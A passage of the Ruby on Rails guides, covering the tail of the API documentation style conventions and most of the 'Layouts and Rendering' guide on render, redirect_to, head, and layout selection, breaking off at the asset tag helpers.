Please use the [Oxford comma](https://en.wikipedia.org/wiki/Serial_comma) ("red, white, and blue", instead of "red, white and blue").

## [4. Example Code](#example-code)

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

For proper rendering, indent code by two spaces from the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).

Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:

```
# Converts a collection of elements into a formatted string by
# calling +to_s+ on all elements and joining them.
#
#   Blog.all.to_fs # => "First PostSecond PostThird Post"
```

On the other hand, big chunks of structured documentation may have a separate "Examples" section:

```
# ==== Examples
#
#   Person.exists?(5)
#   Person.exists?('5')
#   Person.exists?(name: "David")
#   Person.exists?(['name LIKE ?', "%#{query}%"])
```

The results of expressions follow them and are introduced by "# => ", vertically aligned:

```
# For checking if an integer is even or odd.
#
#   1.even? # => false
#   1.odd?  # => true
#   2.even? # => true
#   2.odd?  # => false
```

If a line is too long, the comment may be placed on the next line:

```
#   label(:article, :title)
#   # => <label for="article_title">Title</label>
#
#   label(:article, :title, "A short title")
#   # => <label for="article_title">A short title</label>
#
#   label(:article, :title, "A short title", class: "title_label")
#   # => <label for="article_title" class="title_label">A short title</label>
```

Avoid using any printing methods like `puts` or `p` for that purpose.

On the other hand, regular comments do not use an arrow:

```
#   polymorphic_url(record)  # same as comment_url(record)
```

### [4.1. SQL](#sql)

When documenting SQL statements, the result should not have `=>` before the output.

For example,

```
#   User.where(name: 'Oscar').to_sql
#   # SELECT "users".* FROM "users"  WHERE "users"."name" = 'Oscar'
```

### [4.2. IRB](#irb)

When documenting the behavior for IRB, Ruby's interactive REPL, always prefix commands with `irb>`. The output should be prefixed with `=>`.

For example,

```
# Find the customer with primary key (id) 10.
#   irb> customer = Customer.find(10)
#   # => #<Customer id: 10, first_name: "Ryan">
```

### [4.3. Bash / Command-line](#bash-command-line)

For command-line examples, always prefix the command with `$`. The output doesn't have to be prefixed with anything.

```
# Run the following command:
#   $ bin/rails new zomg
#   ...
```

## [5. Booleans](#booleans)

For predicates and flags, prefer documenting boolean semantics over exact values.

When "true" or "false" are used as defined in Ruby use regular font. The singletons `true` and `false` need fixed-width font. Please avoid terms like "truthy". Ruby defines what is true and false in the language, and thus those words have a technical meaning and need no substitutes.

As a rule of thumb, do not document singletons unless absolutely necessary. That prevents artificial constructs like `!!` or ternaries, allows refactors, and the code does not need to rely on the exact values returned by methods being called in the implementation.

For example:

```
# +config.action_mailer.perform_deliveries+ specifies whether mail
# will actually be delivered and is true by default
```

the user does not need to know which is the actual default value of the flag, and so we only document its boolean semantics.

An example with a predicate:

```
# Returns true if the collection is empty.
#
# If the collection has been loaded it is equivalent to
# +collection.size.zero?+. If the collection has not been loaded,
# it is equivalent to +!collection.exists?+. If the collection has
# not already been loaded and you are going to fetch the records
# anyway, it is better to check +collection.length.zero?+.
def empty?
  if loaded?
    size.zero?
  else
    @target.blank? && !scope.exists?
  end
end
```

The API is careful not to commit to any particular value, the method has predicate semantics, which is sufficient.

## [6. File Names](#file-names)

As a rule of thumb, use filenames relative to the application root: `config/routes.rb` instead of `routes.rb` or `RAILS_ROOT/config/routes.rb`.

## [7. Fonts](#fonts)

### [7.1. Fixed-width Font](#fixed-width-font)

Use fixed-width fonts for:

* Constants, in particular class and module names
* Method names
* Literals like `nil`, `false`, `true`, `self`
* Symbols
* Method parameters
* File names
* HTML tags and attributes
* CSS selectors, attributes and values

```
class Array
  # Calls +to_param+ on all its elements and joins the result with
  # slashes. This is used by +url_for+ in Action Pack.
  def to_param
    collect { |e| e.to_param }.join "/"
  end
end
```

Using `+...+` for fixed-width font only works with simple content like ordinary classes, modules, method names, symbols, paths (with forward slashes), etc. Use `<tt>...</tt>` for everything else.

You can quickly test the RDoc output with the following command:

```
$ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>
```

For example, code with spaces or quotes should use the `<tt>...</tt>` form.

### [7.2. Regular Font](#regular-font)

When "true" and "false" are English words rather than Ruby keywords use a regular font:

```
# Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
  # ...
end
```

## [8. Description Lists](#description-lists)

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

```
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
```

The description starts in upper case and ends with a full stop—it's standard English.

An alternative approach, when you want to provide additional detail and examples is to use option section style.

[`ActiveSupport::MessageEncryptor#encrypt_and_sign`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageEncryptor.html#method-i-encrypt_and_sign) is a great example of this.

```
# ==== Options
#
# [+:expires_at+]
#   The datetime at which the message expires. After this datetime,
#   verification of the message will fail.
#
#     message = encryptor.encrypt_and_sign("hello", expires_at: Time.now.tomorrow)
#     encryptor.decrypt_and_verify(message) # => "hello"
#     # 24 hours later...
#     encryptor.decrypt_and_verify(message) # => nil
```

## [9. Dynamically Generated Methods](#dynamically-generated-methods)

Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:

[](images/dynamic_method_class_eval.png)

If the resulting lines are too wide, say 200 columns or more, put the comment above the call:

```
# def self.find_by_login_and_activated(*args)
#   options = args.extract_options!
#   ...
# end
self.class_eval %{
  def self.#{method_id}(*args)
    options = args.extract_options!
    ...
  end
}, __FILE__, __LINE__
```

## [10. Method Visibility](#method-visibility)

When writing documentation for Rails, it's important to differentiate between the user-facing API and the internal API.

Methods that are in Ruby's private scope are excluded from the user-facing API. However, some internal API methods must be in Ruby's public scope so that they can be called elsewhere in the framework. To exclude such methods from the user-facing API, use RDoc's `:nodoc:` directive.

An example is `ActiveRecord::Core::ClassMethods#arel_table`:

```
module ActiveRecord::Core::ClassMethods
  def arel_table # :nodoc:
    # do some magic..
  end
end
```

Even though it is a public method, users should not rely on it. The name of this method may change, or the return value may change, or this method may be removed entirely. By marking it with `:nodoc:`, it is removed from the user-facing API documentation.

As a contributor, it's important to think about whether an API should be user-facing or internal. The Rails team is committed to not making breaking changes to the user-facing API without first going through a full deprecation cycle. Therefore, you should add `:nodoc:` to any internal methods or modules, unless they are already private. (Adding `:nodoc:` to a module or class indicates that all methods are internal API, and it should be removed from the user-facing API documentation.)

## [11. Regarding the Rails Stack](#regarding-the-rails-stack)

When documenting parts of Rails' API, it's important to be mindful of the entire Rails stack. Behavior of the method or class you're documenting may change depending on context.

One such example is `ActionView::Helpers::AssetTagHelper#image_tag`:

```
# image_tag("icon.png")
#   # => <img src="/assets/icon.png" />
```

In isolation, `image_tag` would return `/images/icon.png`. However, when we take into account the full Rails stack, including the Asset Pipeline, we may see the above result.

We want to document the behavior of the *framework*, not just isolated methods. Our concern is the behavior that the user experiences when using the full default Rails stack.

If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/layouts_and_rendering.html
----

***

## [1. Overview: How the Pieces Fit Together](#overview-how-the-pieces-fit-together)

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.

## [2. Creating Responses](#creating-responses)

From the controller's point of view, there are three ways to create an HTTP response:

* Call [`render`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Rendering.html#method-i-render) to create a full response to send back to the browser
* Call [`redirect_to`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Redirecting.html#method-i-redirect_to) to send an HTTP redirect status code to the browser
* Call [`head`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Head.html#method-i-head) to create a response consisting solely of HTTP headers to send back to the browser

### [2.1. Rendering by Default: Convention Over Configuration in Action](#rendering-by-default-convention-over-configuration-in-action)

You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:

```
class BooksController < ApplicationController
end
```

And the following in your routes file:

```
resources :books
```

And you have a view file `app/views/books/index.html.erb`:

```
<h1>Books are coming soon!</h1>
```

Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.

However, a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:

```
class BooksController < ApplicationController
  def index
    @books = Book.all
  end
end
```

Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.

If we want to display the properties of all the books in our view, we can do so with an ERB template like this:

```
<h1>Listing Books</h1>

<table>
  <thead>
    <tr>
      <th>Title</th>
      <th>Content</th>
      <th colspan="3"></th>
    </tr>
  </thead>

  <tbody>
    <% @books.each do |book| %>
      <tr>
        <td><%= book.title %></td>
        <td><%= book.content %></td>
        <td><%= link_to "Show", book %></td>
        <td><%= link_to "Edit", edit_book_path(book) %></td>
        <td><%= link_to "Destroy", book, data: { turbo_method: :delete, turbo_confirm: "Are you sure?" } %></td>
      </tr>
    <% end %>
  </tbody>
</table>

<br>

<%= link_to "New book", new_book_path %>
```

The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler.

### [2.2. Using `render`](#using-render)

In most cases, the controller's [`render`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Rendering.html#method-i-render) method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.

#### [2.2.1. Rendering an Action's View](#rendering-an-action-s-view)

If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view:

```
def update
  @book = Book.find(params[:id])
  if @book.update(book_params)
    redirect_to(@book)
  else
    render "edit"
  end
end
```

If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.

If you prefer, you can use a symbol instead of a string to specify the action to render:

```
def update
  @book = Book.find(params[:id])
  if @book.update(book_params)
    redirect_to(@book)
  else
    render :edit, status: :unprocessable_entity
  end
end
```

#### [2.2.2. Rendering an Action's Template from Another Controller](#rendering-an-action-s-template-from-another-controller)

What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:

```
render "products/show"
```

Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):

```
render template: "products/show"
```

#### [2.2.3. Wrapping it up](#wrapping-it-up)

The above two ways of rendering (rendering the template of another action in the same controller, and rendering the template of another action in a different controller) are actually variants of the same operation.

In fact, in the `BooksController` class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:

```
render :edit
render action: :edit
render "edit"
render action: "edit"
render "books/edit"
render template: "books/edit"
```

Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.

#### [2.2.4. Using `render` with `:inline`](#using-render-with-inline)

The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:

```
render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
```

There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.

By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:

```
render inline: "xml.p {'Horrid coding practice!'}", type: :builder
```

#### [2.2.5. Rendering Text](#rendering-text)

You can send plain text - with no markup at all - back to the browser by using the `:plain` option to `render`:

```
render plain: "OK"
```

Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.

By default, if you use the `:plain` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option and use the `.text.erb` extension for the layout file.

#### [2.2.6. Rendering HTML](#rendering-html)

You can send an HTML string back to the browser by using the `:html` option to `render`:

```
render html: helpers.tag.strong("Not Found")
```

This is useful when you're rendering a small snippet of HTML code. However, you might want to consider moving it to a template file if the markup is complex.

When using `html:` option, HTML entities will be escaped if the string is not composed with `html_safe`-aware APIs.

#### [2.2.7. Rendering JSON](#rendering-json)

JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

```
render json: @product
```

You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.

#### [2.2.8. Rendering XML](#rendering-xml)

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

```
render xml: @product
```

You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.

#### [2.2.9. Rendering Vanilla JavaScript](#rendering-vanilla-javascript)

Rails can render vanilla JavaScript:

```
render js: "alert('Hello Rails');"
```

This will send the supplied string to the browser with a MIME type of `text/javascript`.

#### [2.2.10. Rendering Raw Body](#rendering-raw-body)

You can send a raw content back to the browser, without setting any content type, by using the `:body` option to `render`:

```
render body: "raw"
```

This option should be used only if you don't care about the content type of the response. Using `:plain` or `:html` might be more appropriate most of the time.

Unless overridden, your response returned from this render option will be `text/plain`, as that is the default content type of Action Dispatch response.

#### [2.2.11. Rendering Raw File](#rendering-raw-file)

Rails can render a raw file from an absolute path. This is useful for conditionally rendering static files like error pages.

```
render file: "#{Rails.root}/public/404.html", layout: false
```

This renders the raw file (it doesn't support ERB or other handlers). By default it is rendered within the current layout.

Using the `:file` option in combination with users input can lead to security problems since an attacker could use this action to access security sensitive files in your file system.

`send_file` is often a faster and better option if a layout isn't required.

#### [2.2.12. Rendering Objects](#rendering-objects)

Rails can render objects responding to `#render_in`. The format can be controlled by defining `#format` on the object.

```
class Greeting
  def render_in(view_context)
    view_context.render html: "Hello, World"
  end

  def format
    :html
  end
end

render Greeting.new
# => "Hello World"
```

This calls `render_in` on the provided object with the current view context. You can also provide the object by using the `:renderable` option to `render`:

```
render renderable: Greeting.new
# => "Hello World"
```

#### [2.2.13. Options for `render`](#options-for-render)

Calls to the [`render`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Rendering.html#method-i-render) method generally accept six options:

* `:content_type`
* `:layout`
* `:location`
* `:status`
* `:formats`
* `:variants`

##### [2.2.13.1. The `:content_type` Option](#the-content-type-option)

By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:

```
render template: "feed", content_type: "application/rss"
```

##### [2.2.13.2. The `:layout` Option](#the-layout-option)

With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:

```
render layout: "special_layout"
```

You can also tell Rails to render with no layout at all:

```
render layout: false
```

##### [2.2.13.3. The `:location` Option](#the-location-option)

You can use the `:location` option to set the HTTP `Location` header:

```
render xml: photo, location: photo_url(photo)
```

##### [2.2.13.4. The `:status` Option](#the-status-option)

Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:

```
render status: 500
render status: :forbidden
```

Rails understands both numeric status codes and the corresponding symbols shown below.

| Response Class    | HTTP Status Code | Symbol                               |
| ----------------- | ---------------- | ------------------------------------ |
| **Informational** | 100              | :continue                            |
|                   | 101              | :switching\_protocols                |
|                   | 102              | :processing                          |
| **Success**       | 200              | :ok                                  |
|                   | 201              | :created                             |
|                   | 202              | :accepted                            |
|                   | 203              | :non\_authoritative\_information     |
|                   | 204              | :no\_content                         |
|                   | 205              | :reset\_content                      |
|                   | 206              | :partial\_content                    |
|                   | 207              | :multi\_status                       |
|                   | 208              | :already\_reported                   |
|                   | 226              | :im\_used                            |
| **Redirection**   | 300              | :multiple\_choices                   |
|                   | 301              | :moved\_permanently                  |
|                   | 302              | :found                               |
|                   | 303              | :see\_other                          |
|                   | 304              | :not\_modified                       |
|                   | 305              | :use\_proxy                          |
|                   | 307              | :temporary\_redirect                 |
|                   | 308              | :permanent\_redirect                 |
| **Client Error**  | 400              | :bad\_request                        |
|                   | 401              | :unauthorized                        |
|                   | 402              | :payment\_required                   |
|                   | 403              | :forbidden                           |
|                   | 404              | :not\_found                          |
|                   | 405              | :method\_not\_allowed                |
|                   | 406              | :not\_acceptable                     |
|                   | 407              | :proxy\_authentication\_required     |
|                   | 408              | :request\_timeout                    |
|                   | 409              | :conflict                            |
|                   | 410              | :gone                                |
|                   | 411              | :length\_required                    |
|                   | 412              | :precondition\_failed                |
|                   | 413              | :payload\_too\_large                 |
|                   | 414              | :uri\_too\_long                      |
|                   | 415              | :unsupported\_media\_type            |
|                   | 416              | :range\_not\_satisfiable             |
|                   | 417              | :expectation\_failed                 |
|                   | 421              | :misdirected\_request                |
|                   | 422              | :unprocessable\_entity               |
|                   | 423              | :locked                              |
|                   | 424              | :failed\_dependency                  |
|                   | 426              | :upgrade\_required                   |
|                   | 428              | :precondition\_required              |
|                   | 429              | :too\_many\_requests                 |
|                   | 431              | :request\_header\_fields\_too\_large |
|                   | 451              | :unavailable\_for\_legal\_reasons    |
| **Server Error**  | 500              | :internal\_server\_error             |
|                   | 501              | :not\_implemented                    |
|                   | 502              | :bad\_gateway                        |
|                   | 503              | :service\_unavailable                |
|                   | 504              | :gateway\_timeout                    |
|                   | 505              | :http\_version\_not\_supported       |
|                   | 506              | :variant\_also\_negotiates           |
|                   | 507              | :insufficient\_storage               |
|                   | 508              | :loop\_detected                      |
|                   | 510              | :not\_extended                       |
|                   | 511              | :network\_authentication\_required   |

If you try to render content along with a non-content status code (100-199, 204, 205, or 304), it will be dropped from the response.

##### [2.2.13.5. The `:formats` Option](#the-formats-option)

Rails uses the format specified in the request (or `:html` by default). You can change this passing the `:formats` option with a symbol or an array:

```
render formats: :xml
render formats: [:json, :xml]
```

If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised.

##### [2.2.13.6. The `:variants` Option](#the-variants-option)

This tells Rails to look for template variations of the same format. You can specify a list of variants by passing the `:variants` option with a symbol or an array.

An example of use would be this.

```
# called in HomeController#index
render variants: [:mobile, :desktop]
```

With this set of variants Rails will look for the following set of templates and use the first that exists.

* `app/views/home/index.html+mobile.erb`
* `app/views/home/index.html+desktop.erb`
* `app/views/home/index.html.erb`

If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised.

Instead of setting the variant on the render call you may also set [`request.variant`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) in your controller action. Learn more about variants in the [Action Controller Overview](./action_controller_overview.html#request-variant) guides.

```
def index
  request.variant = determine_variant
end

private
  def determine_variant
    variant = nil
    # some code to determine the variant(s) to use
    variant = :mobile if session[:use_mobile]

    variant
  end
```

Adding many new variant templates with similarities to existing template files can make maintaining your view code more difficult.

#### [2.2.14. Finding Layouts](#finding-layouts)

To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

##### [2.2.14.1. Specifying Layouts for Controllers](#specifying-layouts-for-controllers)

You can override the default layout conventions in your controllers by using the [`layout`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Layouts/ClassMethods.html#method-i-layout) declaration. For example:

```
class ProductsController < ApplicationController
  layout "inventory"
  #...
end
```

With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.

To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:

```
class ApplicationController < ActionController::Base
  layout "main"
  #...
end
```

With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.

##### [2.2.14.2. Choosing Layouts at Runtime](#choosing-layouts-at-runtime)

You can use a symbol to defer the choice of layout until a request is processed:

```
class ProductsController < ApplicationController
  layout :products_layout

  def show
    @product = Product.find(params[:id])
  end

  private
    def products_layout
      @current_user.special? ? "special" : "products"
    end
end
```

Now, if the current user is a special user, they'll get a special layout when viewing a product.

You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:

```
class ProductsController < ApplicationController
  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end
```

##### [2.2.14.3. Conditional Layouts](#conditional-layouts)

Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:

```
class ProductsController < ApplicationController
  layout "product", except: [:index, :rss]
end
```

With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.

##### [2.2.14.4. Layout Inheritance](#layout-inheritance)

Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:

* `application_controller.rb`

  ```
  class ApplicationController < ActionController::Base
    layout "main"
  end
  ```

* `articles_controller.rb`

  ```
  class ArticlesController < ApplicationController
  end
  ```

* `special_articles_controller.rb`

  ```
  class SpecialArticlesController < ArticlesController
    layout "special"
  end
  ```

* `old_articles_controller.rb`

  ```
  class OldArticlesController < SpecialArticlesController
    layout false

    def show
      @article = Article.find(params[:id])
    end

    def index
      @old_articles = Article.older
      render layout: "old"
    end
    # ...
  end
  ```

In this application:

* In general, views will be rendered in the `main` layout
* `ArticlesController#index` will use the `main` layout
* `SpecialArticlesController#index` will use the `special` layout
* `OldArticlesController#show` will use no layout at all
* `OldArticlesController#index` will use the `old` layout

##### [2.2.14.5. Template Inheritance](#template-inheritance)

Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example:

```
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
end
```

```
# app/controllers/admin_controller.rb
class AdminController < ApplicationController
end
```

```
# app/controllers/admin/products_controller.rb
class Admin::ProductsController < AdminController
  def index
  end
end
```

The lookup order for an `admin/products#index` action will be:

* `app/views/admin/products/`
* `app/views/admin/`
* `app/views/application/`

This makes `app/views/application/` a great place for your shared partials, which can then be rendered in your ERB as such:

```
<%# app/views/admin/products/index.html.erb %>
<%= render @products || "empty_list" %>

<%# app/views/application/_empty_list.html.erb %>
There are no items in this list <em>yet</em>.
```

#### [2.2.15. Avoiding Double Render Errors](#avoiding-double-render-errors)

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.

For example, here's some code that will trigger this error:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show"
  end
  render action: "regular_show"
end
```

If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will *not* stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `return`. Here's a patched version of the method:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show"
    return
  end
  render action: "regular_show"
end
```

Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render action: "special_show"
  end
end
```

This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.

### [2.3. Using `redirect_to`](#using-redirect-to)

Another way to handle returning responses to an HTTP request is with [`redirect_to`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Redirecting.html#method-i-redirect_to). As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

```
redirect_to photos_url
```

You can use [`redirect_back`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Redirecting.html#method-i-redirect_back) to return the user to the page they just came from. This location is pulled from the `HTTP_REFERER` header which is not guaranteed to be set by the browser, so you must provide the `fallback_location` to use in this case.

```
redirect_back(fallback_location: root_path)
```

`redirect_to` and `redirect_back` do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit `return` or some other halting mechanism, if needed.

#### [2.3.1. Getting a Different Redirect Status Code](#getting-a-different-redirect-status-code)

Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:

```
redirect_to photos_path, status: 301
```

Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.

#### [2.3.2. The Difference Between `render` and `redirect_to`](#the-difference-between-render-and-redirect-to)

Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is *not* correct.

The current action will complete, returning a response to the browser. After this your code stops running and waits for a new request, it just happens that you've told the browser what request it should make next by sending back an HTTP 302 status code.

Consider these actions to see the difference:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    render action: "index"
  end
end
```

With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    redirect_to action: :index
  end
end
```

With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.

The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.

While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by(id: params[:id])
  if @book.nil?
    @books = Book.all
    flash.now[:alert] = "Your book was not found"
    render "index"
  end
end
```

This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.

### [2.4. Using `head` to Build Header-Only Responses](#using-head-to-build-header-only-responses)

The [`head`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Head.html#method-i-head) method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:

```
head :bad_request
```

This would produce the following header:

```
HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
```

Or you can use other HTTP headers to convey other information:

```
head :created, location: photo_path(@photo)
```

Which would produce:

```
HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
```

## [3. Structuring Layouts](#structuring-layouts)

When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:

* Asset tags
* `yield` and [`content_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for)
* Partials

### [3.1. Asset Tag Helpers](#asset-tag-helpers)

Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails:

* [`auto_discovery_link_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag)
* [`javascript_include_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag)
* [`stylesheet_link_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag)
* [`image_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
* [`video_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag)
* [`audio_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag)

